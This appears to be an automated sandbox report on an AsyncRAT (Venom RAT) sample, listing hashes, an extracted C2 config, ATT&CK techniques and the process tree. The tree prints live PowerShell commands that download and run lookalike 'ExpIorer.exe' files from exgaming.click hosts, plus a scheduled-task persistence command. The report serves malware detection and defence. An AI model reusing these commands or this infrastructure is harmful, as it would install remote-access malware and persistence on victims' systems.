asyncrat | c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660

General

Target

c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
Size

74KB
MD5

9f7b2bf836c0e9682f7f612fc60d88f9
SHA1

2a99db9697d168488ef962ff51f0599e89bfeaeb
SHA256

c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660
SHA512

59f899ed095371cf13e63ee9748bc8cdc86aa1b2ede5d068dc81f6b0134219fd8f31bfd3f664602cf8562ab4851acdf85f5a06de35ab6f949106139a1ff37556
SSDEEP

1536:i9ZAUZ2HXtkAmLej8CGqPM63JCdNhnY+YH1bo/yUaV4zQX3VclN:i9KUZ82AmLeYoPM63JCnYH1bo9Y4elY

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu.exgaming.click

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu5.exgaming.click

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

94.156.65.172:4449

Mutex

izslwuidilziewad

Attributes

delay
1
install
true
install_file
AntiMalware.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detects executables attemping to enumerate video devices using WMI 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2964-1-0x0000000000D00000-0x0000000000D16000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice
\Users\Admin\AppData\Roaming\AntiMalware.exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice
behavioral1/memory/2980-41-0x0000000000490000-0x00000000004A6000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Executes dropped EXE 1 IoCs

Processes:

AntiMalware.exe

pid process

2980 AntiMalware.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2600 cmd.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2652 powershell.exe
2532 powershell.exe
376 powershell.exe
1160 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2712 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2332 timeout.exe

pid	process
2980	AntiMalware.exe

pid	process
2600	cmd.exe

pid	process
2652	powershell.exe
2532	powershell.exe
376	powershell.exe
1160	powershell.exe

pid	process
2712	schtasks.exe

pid	process
2332	timeout.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

Processes:

powershell.exepowershell.exepowershell.exec8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exepowershell.exepowershell.exepowershell.exepowershell.exeAntiMalware.exepowershell.exe

pid	process
1776	powershell.exe
2756	powershell.exe
2652	powershell.exe
2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
2532	powershell.exe
1720	powershell.exe
2604	powershell.exe
376	powershell.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
1160	powershell.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe
2980	AntiMalware.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exepowershell.exepowershell.exepowershell.exepowershell.exeAntiMalware.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	2980	AntiMalware.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	376	powershell.exe
Token: SeDebugPrivilege	1160	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AntiMalware.exe

pid process

2980 AntiMalware.exe

pid	process
2980	AntiMalware.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.execmd.execmd.execmd.exeAntiMalware.execmd.exe

description	pid	process	target process
PID 2964 wrote to memory of 2140	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2140	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2140	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2140 wrote to memory of 1776	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 1776	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 1776	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2756	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2756	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2756	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2652	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2652	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2652	2140	cmd.exe	powershell.exe
PID 2964 wrote to memory of 2804	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2804	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2804	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2140 wrote to memory of 2532	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2532	2140	cmd.exe	powershell.exe
PID 2140 wrote to memory of 2532	2140	cmd.exe	powershell.exe
PID 2964 wrote to memory of 2600	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2600	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2964 wrote to memory of 2600	2964	c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe	cmd.exe
PID 2600 wrote to memory of 2332	2600	cmd.exe	timeout.exe
PID 2600 wrote to memory of 2332	2600	cmd.exe	timeout.exe
PID 2600 wrote to memory of 2332	2600	cmd.exe	timeout.exe
PID 2804 wrote to memory of 2712	2804	cmd.exe	schtasks.exe
PID 2804 wrote to memory of 2712	2804	cmd.exe	schtasks.exe
PID 2804 wrote to memory of 2712	2804	cmd.exe	schtasks.exe
PID 2600 wrote to memory of 2980	2600	cmd.exe	AntiMalware.exe
PID 2600 wrote to memory of 2980	2600	cmd.exe	AntiMalware.exe
PID 2600 wrote to memory of 2980	2600	cmd.exe	AntiMalware.exe
PID 2980 wrote to memory of 1964	2980	AntiMalware.exe	cmd.exe
PID 2980 wrote to memory of 1964	2980	AntiMalware.exe	cmd.exe
PID 2980 wrote to memory of 1964	2980	AntiMalware.exe	cmd.exe
PID 1964 wrote to memory of 1720	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 1720	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 1720	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 2604	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 2604	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 2604	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 376	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 376	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 376	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe
"C:\Users\Admin\AppData\Local\Temp\c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "AntiMalware" /tr '"C:\Users\Admin\AppData\Roaming\AntiMalware.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "AntiMalware" /tr '"C:\Users\Admin\AppData\Roaming\AntiMalware.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:2712
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp2B26.tmp.bat""
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2332
- - C:\Users\Admin\AppData\Roaming\AntiMalware.exe
    "C:\Users\Admin\AppData\Roaming\AntiMalware.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3D41.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5066.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2B26.tmp.bat

Filesize
155B

MD5
42a57c989d24af7c9d08c6f8e4be6e67

SHA1
0d7e6f6649a1c0dfad00d19279c0feba3020ee6a

SHA256
d15c337d54036a12985b40bc006083cd2c0e9148bef7fb2a324e8abeeeacd2df

SHA512
153ebc8aeea1dbef0839354340a87b6ac23a473ac07a6e94ca8cef6fa0a562d57f26c1d2de57c04d6be99840d46f9c83a7d7f86679380a562bc9a2bf5e5d05ba

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f949fc28e1604a1fd8270bf1f77522af

SHA1
bcc00f54bbfc0fe141a6d3fd1c734dcd9f665cb1

SHA256
070bc143f6517d1181cdd0e649d9ac27d4d80885f7b41130e04ffe5912af0588

SHA512
71919e5a968e0db08de963b28cdbc9bac46b56502465a3f177123359f8d920139c62f6049f32ec1cf2355945ace0822d638e55446c80b1032fdb813b0abecca6

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
\Users\Admin\AppData\Roaming\AntiMalware.exe

Filesize
74KB

MD5
9f7b2bf836c0e9682f7f612fc60d88f9

SHA1
2a99db9697d168488ef962ff51f0599e89bfeaeb

SHA256
c8c12055c4468764fdb8553eee67f51dea7be14e4517d5d43d5a7695dc6b0660

SHA512
59f899ed095371cf13e63ee9748bc8cdc86aa1b2ede5d068dc81f6b0134219fd8f31bfd3f664602cf8562ab4851acdf85f5a06de35ab6f949106139a1ff37556

Download Submit
memory/1776-7-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1776-8-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/2756-15-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2756-16-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2964-36-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2964-0-0x000007FEF5E43000-0x000007FEF5E44000-memory.dmp

Filesize
4KB

Download
memory/2964-9-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2964-1-0x0000000000D00000-0x0000000000D16000-memory.dmp

Filesize
88KB

Download
memory/2980-41-0x0000000000490000-0x00000000004A6000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads